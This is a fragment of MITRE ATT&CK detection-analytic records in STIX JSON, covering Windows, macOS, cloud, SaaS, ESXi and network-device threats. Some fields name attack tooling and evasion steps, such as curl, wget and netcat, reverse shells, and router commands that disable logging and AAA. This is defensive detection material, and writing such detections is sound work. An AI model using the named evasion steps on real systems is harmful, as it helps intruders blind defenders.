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                    "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e",
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                },
                {
                    "field": "TimeWindow",
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                {
                    "field": "SourceIPScope",
                    "description": "Whether to group by full IP or CIDR block for bursty behavior from botnets"
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            ],
            "x_mitre_deprecated": false
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            "modified": "2025-11-12T22:03:39.105Z",
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            "description": "Monitor for anomalous email activity originating from Windows-hosted applications (e.g., Outlook) where the sending account name or display name does not match the underlying SMTP address. Detect abnormal volume of outbound messages containing sensitive keywords (e.g., 'payment', 'wire transfer') or anomalous login locations for accounts associated with email sending activity.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
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            "x_mitre_domains": [
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            ],
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                    "field": "KeywordList",
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                {
                    "field": "GeoLocationBaseline",
                    "description": "Define trusted geographic regions for normal user email activity."
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            ]
        },
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            "created": "2025-10-21T15:10:28.402Z",
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            "name": "Analytic 0803",
            "description": "Disabling mailbox or tenant-level audit logging, often using Set-MailboxAuditBypassAssociation or downgrading license tiers. Defender view: sudden absence of mailbox activity logging for monitored users.",
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            "x_mitre_version": "1.0",
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            "x_mitre_platforms": [
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            "x_mitre_deprecated": false
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            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
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            ],
            "x_mitre_platforms": [
                "PRE"
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                "PRE"
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
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                },
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            "x_mitre_deprecated": false
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            "x_mitre_deprecated": false,
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            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--4c41e296-b8d2-4a37-b789-eb565c87c00c",
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            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "UserAgent",
                    "description": "Tune for legitimate backup automation vs unknown tools"
                },
                {
                    "field": "ResourceType",
                    "description": "Filter only on production images or vaults"
                }
            ]
        },
        {
            "type": "x-mitre-analytic",
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            "created": "2025-10-21T15:10:28.402Z",
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
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            "x_mitre_log_source_references": [
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                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa",
                    "name": "esxi:hostd",
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a",
                    "name": "NSM:Flow",
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c",
                    "name": "NSM:Flow",
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            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "MgmtCIDRs",
                    "description": "CIDRs allowed for normal ESXi mgmt/backup."
                },
                {
                    "field": "BytesOutToInRatio",
                    "description": "Asymmetry cutoff (e.g., \u22653)."
                },
                {
                    "field": "TokenLengthThreshold",
                    "description": "Minimum token length."
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                    "field": "TimeWindow",
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            ],
            "x_mitre_deprecated": false
        },
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_version": "1.1",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
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            "x_mitre_platforms": [
                "Network Devices"
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            "x_mitre_log_source_references": [
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                    "x_mitre_data_component_ref": "x-mitre-data-component--74fa567d-bc90-425c-8a41-3c703abb221c",
                    "name": "networkdevice:config",
                    "channel": "write: Startup configuration changes disabling security checks"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--85a533a4-5fa4-4dba-b45d-f0717bedd6e6",
                    "name": "networkdevice:syslog",
                    "channel": "no logging host, no aaa new-model, no snmp-server, commit"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "ConfigBaseline",
                    "description": "Reference configuration state for detecting unauthorized modifications."
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            ]
        },
        {
            "type": "x-mitre-analytic",
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            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "external_id": "AN0836"
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            ],
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            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0836",
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
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            ],
            "x_mitre_platforms": [
                "macOS"
            ],
            "x_mitre_log_source_references": [
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                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "macos:unifiedlog",
                    "channel": "process execution events for chmod, chown, chflags with unusual parameters or targets"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5",
                    "name": "fs:fsevents",
                    "channel": "file system events indicating permission or attribute changes"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "SIPProtectedPaths",
                    "description": "macOS system paths protected by SIP that should never have permission modifications"
                },
                {
                    "field": "SuspiciousFlagCombinations",
                    "description": "chflags parameter combinations indicating evasive behavior (uchg, schg, hidden)"
                },
                {
                    "field": "XattrMonitoringScope",
                    "description": "Extended attributes to monitor for unauthorized modifications"
                },
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                    "field": "UnifiedLogRetention",
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                    "description": "Tune for suspicious binaries like curl, wget, python, netcat"
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                    "field": "CommandLinePattern",
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                {
                    "field": "SuspiciousParentProcesses",
                    "description": "List of parent processes considered suspicious when spawning mshta.exe (e.g., Office applications, script interpreters)."
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            "name": "Analytic 0901",
            "description": "Adversaries create SaaS accounts via admin dashboards or integrations (e.g., Zoom, Salesforce, Slack). Monitor lifecycle.create or account provisioning events from non-standard sources or times.",
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                    "channel": "New user created"
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            ],
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                    "description": "Trigger only for high-privilege or sensitive applications"
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                {
                    "field": "AdminUserList",
                    "description": "Compare actor to list of approved SaaS administrators"
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                    "external_id": "AN0995"
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            "x_mitre_domains": [
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                    "channel": "EventCode=1"
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                {
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            ],
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                {
                    "field": "AllowedInterpreterVersions",
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                    "field": "RegistryDefenderKeys",
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            "description": "Detects virtual disk expansion or file copy operations to cloud buckets or mounted volumes from isolated instances.",
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            "x_mitre_deprecated": false,
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
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                "IaaS"
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                {
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                    "field": "CloudBucketList",
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                    "field": "InstanceTag",
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                {
                    "field": "ObjectWriteThreshold",
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            "description": "Office-based persistence via Office template macros, Outlook forms/rules/homepage, or registry-persistent scripts. Adversary modifies registry keys or Office application directories to load malicious scripts at startup.",
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                    "channel": "EventCode=11"
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                    "field": "ParentProcessName",
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                    "description": "Specific keys related to Office startup such as Outlook Today, AddIns, or Template Macros"
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                    "field": "UserContext",
                    "description": "Detect persistence within high-value user mailboxes (e.g., admin, finance, C-suite)"
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                    "field": "MaintenanceWindows",
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            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
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            "x_mitre_platforms": [
                "PRE"
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                    "name": "Internet Scan",
                    "channel": "None"
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            "x_mitre_domains": [
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            "x_mitre_platforms": [
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            "x_mitre_log_source_references": [
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                    "x_mitre_data_component_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6",
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                    "channel": "EventCode=10"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=1"
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                {
                    "field": "ParentProcessName",
                    "description": "To scope detections to suspicious parent-child process relationships typical of loaders or droppers."
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                {
                    "field": "AllocationSizeThreshold",
                    "description": "To tune for unusually large virtual memory allocations that might indicate unpacked payloads."
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            "x_mitre_deprecated": false
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                    "external_id": "AN0852"
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            "description": "Application crash or repeated restart cycle triggered by malformed input or exploit file, observed via unified logs and process crash monitoring.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
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            "x_mitre_platforms": [
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            "x_mitre_log_source_references": [
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                    "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa",
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                    "channel": "Crash log entries for a process receiving malformed input or known exploit patterns"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "macos:unifiedlog",
                    "channel": "Unusual child process tree indicating attempted recovery after crash"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "CrashSignature",
                    "description": "Binary crash hash or affected dylib for distinguishing malicious faults from benign ones"
                },
                {
                    "field": "InputVector",
                    "description": "File, IPC, or network-based input that may be triggering exploitation (e.g., PDF file, POST request)"
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            ],
            "x_mitre_deprecated": false
        },
        {
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            "id": "x-mitre-analytic--e6d04b50-7bdc-480e-9bda-291db9b270f6",
            "created": "2025-10-21T15:10:28.402Z",
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                    "url": "https://attack.mitre.org/detectionstrategies/DET0162#AN0464",
                    "external_id": "AN0464"
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            ],
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            "modified": "2025-10-21T15:10:28.402Z",
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            "description": "Process opens /dev/bpf* (libpcap) or loads NetworkExtension filter, then after a crafted inbound packet the same process initiates an outbound connection to the trigger origin.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_platforms": [
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            "x_mitre_log_source_references": [
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                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "OpenBSM:AuditTrail",
                    "channel": "open/openat of /dev/bpf*; ioctl BIOCSETF-like operations."
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba",
                    "name": "macos:unifiedlog",
                    "channel": "First outbound connection from the same PID/user shortly after an inbound trigger."
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c",
                    "name": "NSM:Flow",
                    "channel": "Inbound one-off packet to uncommon port \u2192 outbound SF to same src_ip within TimeWindow."
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            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "BPFDevicePath",
                    "description": "Alternate BPF device paths if customized (default /dev/bpf*)."
                },
                {
                    "field": "DeveloperMode",
                    "description": "Relax thresholds on known developer tooling hosts (Xcode, instrumenting tools)."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
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            "id": "x-mitre-analytic--e6e98024-2fa7-444c-af90-32ec5d4d2666",
            "created": "2025-10-21T15:10:28.402Z",
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                    "url": "https://attack.mitre.org/detectionstrategies/DET0505#AN1394",
                    "external_id": "AN1394"
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            ],
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            "description": "Detection of command-line activity exhibiting syntactic obfuscation patterns, such as excessive escape characters, base64 encoding, command concatenation, or outlier command length and entropy.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
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            "x_mitre_platforms": [
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            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4688"
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            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "CommandLineEntropyThreshold",
                    "description": "Used to flag base64 or token-heavy command-line strings"
                },
                {
                    "field": "SuspiciousCharacterCount",
                    "description": "Escape character and symbol frequency in command-line strings"
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                {
                    "field": "TimeWindow",
                    "description": "Window between command execution and follow-up child or file write behavior"
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            ],
            "x_mitre_deprecated": false
        },
        {
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            "id": "x-mitre-analytic--e6f38f76-4e60-4b8a-881c-5d3f206e912c",
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                    "external_id": "AN0622"
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            "modified": "2025-11-12T22:03:39.105Z",
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            "description": "Abuse of mmc.exe to execute non-Microsoft or user-staged .msc files and malicious COM CLSIDs. Behavioral chain: (1) suspicious mmc.exe invocation with /a or -Embedding and non-standard .msc path \u2192 (2) COM activation of non-baseline CLSIDs by mmc.exe \u2192 (3) mmc.exe loads non-baseline DLLs (user-writable/UNC/unsigned) \u2192 (4) optional network/DNS activity from mmc.exe.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_platforms": [
                "Windows"
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            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=1"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=7"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=11"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--7f70fae7-a68d-4730-a83a-f260b9606129",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=12"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=13, 14"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e",
                    "name": "WinEventLog:Microsoft-Windows-COM/Operational",
                    "channel": "CLSID activation events where ProcessName=mmc.exe and CLSID not in allowed baseline"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=3, 22"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
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                    "channel": "EventCode=4103, 4104, 4105, 4106"
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                {
                    "field": "TimeWindow",
                    "description": "Correlation window (e.g., 5\u201310 minutes) tying .msc creation \u2192 mmc.exe start \u2192 module loads \u2192 COM/net activity."
                },
                {
                    "field": "AllowedMSCList",
                    "description": "Set of Microsoft-supplied .msc names/paths allowed in the environment to suppress noise."
                },
                {
                    "field": "SuspiciousMSCPathRegex",
                    "description": "Regex for user-writable and network paths indicating risky .msc staging (Users, AppData, Downloads, Desktop, UNC)."
                },
                {
                    "field": "AllowedCLSIDs",
                    "description": "Baseline of CLSIDs expected to be activated by mmc.exe; alert on unknown/new."
                },
                {
                    "field": "ParentProcessAllowList",
                    "description": "Expected parents for mmc.exe (explorer.exe, services) vs. unusual (powershell, wscript, office apps)."
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                {
                    "field": "SignedToUnsignedTransition",
                    "description": "Flag when signed mmc.exe results in loading unsigned DLLs."
                },
                {
                    "field": "ExternalIPAllowlist",
                    "description": "Approved external ranges/domains to exclude when mmc.exe makes network requests."
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            ]
        },
        {
            "type": "x-mitre-analytic",
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                    "source_name": "mitre-attack",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 1318",
            "description": "Cause\u2192effect chain in cloud consoles: (1) user clicks link then invokes instance/image creation via API, (2) instance/image originates from external AMI or unknown image, (3) instance immediately egresses or retrieves payloads.",
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            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
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                "enterprise-attack"
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            "x_mitre_platforms": [
                "IaaS"
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                    "name": "AWS:CloudTrail",
                    "channel": "RunInstances,CreateImage"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--f8213cde-6b3a-420d-9ab7-41c9af1a919f",
                    "name": "AWS:CloudTrail",
                    "channel": "StartInstances"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c",
                    "name": "gcp:vpcflow",
                    "channel": "first 5m egress to unknown ASNs"
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            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "ApprovedImages",
                    "description": "AMI/image allow-list with owners."
                },
                {
                    "field": "UserContext",
                    "description": "High-risk identities (federated, external IdP)."
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                {
                    "field": "TimeWindow",
                    "description": "5\u201330 minutes from console/API action to network egress."
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            ],
            "x_mitre_deprecated": false
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                    "source_name": "mitre-attack",
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                    "external_id": "AN0659"
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            "name": "Analytic 0659",
            "description": "Detection of edits or additions to /etc/rc.common, /Library/StartupItems, or /System/Library/StartupItems and associated script execution during login or reboot.",
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            "x_mitre_version": "1.0",
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            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_platforms": [
                "macOS"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "macos:unifiedlog",
                    "channel": "process events"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c",
                    "name": "fs:fsusage",
                    "channel": "file activity"
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            ],
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                {
                    "field": "script_name",
                    "description": "Name of script or LaunchDaemon plist is tunable across environments"
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                    "field": "event_interval",
                    "description": "Time window between modification and reboot/login"
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                    "field": "file_permission",
                    "description": "Permissions on modified RC files can vary between systems"
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            ],
            "x_mitre_deprecated": false
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            "type": "x-mitre-analytic",
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "mitre-attack",
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                "enterprise-attack"
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                "Windows"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
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                    "channel": "EventCode=1"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
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                    "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba",
                    "name": "WinEventLog:Sysmon",
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                    "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=7"
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                    "field": "CommandLineRegex",
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                },
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                    "field": "ParentProcessName",
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                },
                {
                    "field": "NetworkDestinationDomain",
                    "description": "Used to detect external domains being contacted for remote scriptlet execution"
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                {
                    "field": "TimeWindow",
                    "description": "Maximum allowed time delta between pubprn.vbs invocation and network connection or child process"
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                "enterprise-attack"
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                "Office Suite"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa",
                    "name": "saas:email",
                    "channel": "AuthenticationFailures (SPF/DKIM/DMARC) OR Domain Mismatch"
                }
            ],
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                {
                    "field": "MessageVolumeThreshold",
                    "description": "Defines thresholds for spoofed messages volume before alerts trigger, reducing noise for isolated misconfigs."
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                {
                    "field": "TargetedUserGroups",
                    "description": "Restricts higher-sensitivity detection to high-value groups (executives, admins, finance) for efficiency."
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            "type": "x-mitre-analytic",
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                    "source_name": "mitre-attack",
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                "Windows"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
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                    "channel": "EventCode=1"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=11"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5",
                    "name": "EDR:file",
                    "channel": "File Metadata Inspection (Low String Entropy, Missing PDB)"
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                    "field": "EntropyThreshold",
                    "description": "Payloads with extremely low string entropy may indicate stripped or obfuscated binaries"
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                {
                    "field": "ParentProcessName",
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                },
                {
                    "field": "TimeWindow",
                    "description": "Correlates file creation and process spawning within a short timeframe"
                }
            ],
            "x_mitre_deprecated": false
        },
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            "type": "x-mitre-analytic",
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            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "name": "Analytic 0651",
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            "x_mitre_deprecated": false,
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_platforms": [
                "Windows"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=1"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=11"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=3, 22"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c",
                    "name": "NSM:Flow",
                    "channel": "Session Transfer Content"
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            ],
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                {
                    "field": "FileExtensionFilter",
                    "description": "Allows tuning of monitored file types (e.g., .jpg, .png, .docx)."
                },
                {
                    "field": "PayloadEntropyThreshold",
                    "description": "Threshold for flagging potential hidden data in outbound payloads."
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                {
                    "field": "ExecutionToExfilTimeWindow",
                    "description": "Time window between media creation and network transmission."
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            "x_mitre_deprecated": false,
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_platforms": [
                "Windows"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5",
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4624, 4648"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=1"
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            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "TimeWindow",
                    "description": "Allows tuning of how far apart related logon and process events can be correlated"
                },
                {
                    "field": "UserContext",
                    "description": "Customize for high-value or service accounts with restricted access policies"
                }
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            "type": "x-mitre-analytic",
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            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
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                "Network Devices"
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                    "name": "networkdevice:cli",
                    "channel": "None"
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            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "Username",
                    "description": "Highlight low-privileged or non-routine users performing discovery"
                },
                {
                    "field": "CommandString",
                    "description": "Allow for tuning based on command regex or frequency"
                },
                {
                    "field": "TransportType",
                    "description": "SSH vs Telnet vs Console session logging scope"
                }
            ],
            "x_mitre_deprecated": false
        },
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            "type": "x-mitre-analytic",
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            ],
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            ],
            "modified": "2026-05-12T16:30:18.383Z",
            "name": "Analytic 2034",
            "description": "Detects consent grants, password resets, role changes, external sharing, or token creation shortly after user interaction with messages, invites, or help desk workflows. Emphasis is placed on unusual requester relationships, new device context, or off-hours approvals.",
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            "x_mitre_deprecated": false,
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            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "SaaS"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e",
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                    "channel": "user.account.reset_password; user.mfa.factor.activate; app.oauth2.authorize"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa",
                    "name": "saas:slack",
                    "channel": "xternal DM or workspace invite preceding credential or approval actions"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa",
                    "name": "saas:zoom",
                    "channel": "Unexpected contact interaction preceding follow-on admin requests"
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            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "RequesterNoveltyDays",
                    "description": "How long since requestor last interacted with user"
                },
                {
                    "field": "GeoVelocityThreshold",
                    "description": "Distance/time anomaly for follow-on login"
                },
                {
                    "field": "AfterHoursDefinition",
                    "description": "Organization-specific off-hours period"
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            ]
        },
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                    "source_name": "mitre-attack",
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            "name": "Analytic 1600",
            "description": "Curl, wget, or custom HTTP clients initiated by uncommon user accounts or cron jobs to popular web services, with no observed response parsing logic.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                "enterprise-attack"
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                "Linux"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
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                    "channel": "execve"
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                {
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                    "name": "iptables:LOG",
                    "channel": "OUTBOUND"
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            ],
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                {
                    "field": "ParentProcess",
                    "description": "May tune to detect unknown parents like custom scripts or reverse shells"
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                {
                    "field": "CommandLineArgs",
                    "description": "May adjust based on known curl/wget C2 behaviors"
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            "x_mitre_deprecated": false
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                    "source_name": "mitre-attack",
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                "enterprise-attack"
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                "Windows"
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                    "channel": "EventCode=7"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
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                    "x_mitre_data_component_ref": "x-mitre-data-component--ed0dd8aa-1677-4551-bb7d-8da767617e1b",
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                    "field": "UserContext",
                    "description": "Privilege level or user context under which registry changes or process executions occur"
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                {
                    "field": "BinarySignatureValidation",
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                {
                    "field": "ExecutablePathScope",
                    "description": "Scope of directories considered suspicious for helper DLLs (e.g., temp paths, non-System32 locations)"
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            ],
            "x_mitre_deprecated": false
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                    "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e",
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                    "field": "DomainToolUsed",
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                    "field": "TrafficWindow",
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                    "field": "SessionType",
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                {
                    "field": "ImagePath",
                    "description": "Full path of the binary/script being registered in Run keys. Tunable to exclude known software baselines."
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                {
                    "field": "RegistryKeyPath",
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                {
                    "field": "TimeWindow",
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                },
                {
                    "field": "UserContext",
                    "description": "Filter for specific user SIDs or exclude known admin/script accounts."
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            "description": "Registry key modification to AppInit_DLLs value followed by anomalous DLL loading by processes importing user32.dll, especially unsigned or uncommon DLLs, suggesting unauthorized AppInit persistence or privilege escalation.",
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            "x_mitre_version": "1.0",
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            "x_mitre_domains": [
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                "Windows"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=1"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=7"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=13, 14"
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                {
                    "field": "ImagePathWhitelist",
                    "description": "Paths or filenames of known-good DLLs to exclude from alerting"
                },
                {
                    "field": "UserContext",
                    "description": "Context of the user modifying the registry key (e.g., admin vs standard user)"
                },
                {
                    "field": "TimeWindow",
                    "description": "Temporal threshold for correlating registry modification and DLL load"
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                {
                    "field": "DLLSignatureStatus",
                    "description": "Filter or flag unsigned or suspiciously signed DLLs"
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            ],
            "x_mitre_deprecated": false
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                    "source_name": "mitre-attack",
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            "description": "CLI-based or API-based network call from the hypervisor to external staging host, shortly followed by a connection to a second external IP by a spawned process or scheduled task.",
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            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_platforms": [
                "ESXi"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a",
                    "name": "esxi:hostd",
                    "channel": "CLI network calls"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "esxi:cron",
                    "channel": "process or cron activity"
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            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "ScheduledTaskName",
                    "description": "Detect unknown or obfuscated task names launching follow-up stages"
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                {
                    "field": "DestinationIP",
                    "description": "Scope multiple IP destinations outside corporate ranges in short sequence"
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            ],
            "x_mitre_deprecated": false
        },
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            "description": "Abuse of DYLD_INSERT_LIBRARIES or hijacking framework paths for malicious libraries. Defender observes processes invoking abnormal dylibs, modified plist files, or persistence entries pointing to altered binaries.",
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            "x_mitre_attack_spec_version": "3.3.0",
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                {
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                    "description": "Baseline directories for dylib loading."
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                {
                    "field": "PlistMonitors",
                    "description": "Specific plist files used for persistence monitoring."
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            "x_mitre_deprecated": false
        },
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            "created": "2025-10-21T15:10:28.402Z",
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            "description": "Addition of credentials (keys, app passwords, x.509 certs) to existing cloud accounts, service principals, or OAuth apps via portal or API by non-standard identities or IP ranges.",
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            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
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                "Identity Provider"
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                    "name": "azure:audit",
                    "channel": "Add service principal credentials, app password added, app role assignment"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "MFABypassMechanism",
                    "description": "App password or legacy auth activity bypassing MFA policies."
                },
                {
                    "field": "SourceIPAllowlist",
                    "description": "Expected IPs allowed to perform admin identity operations."
                },
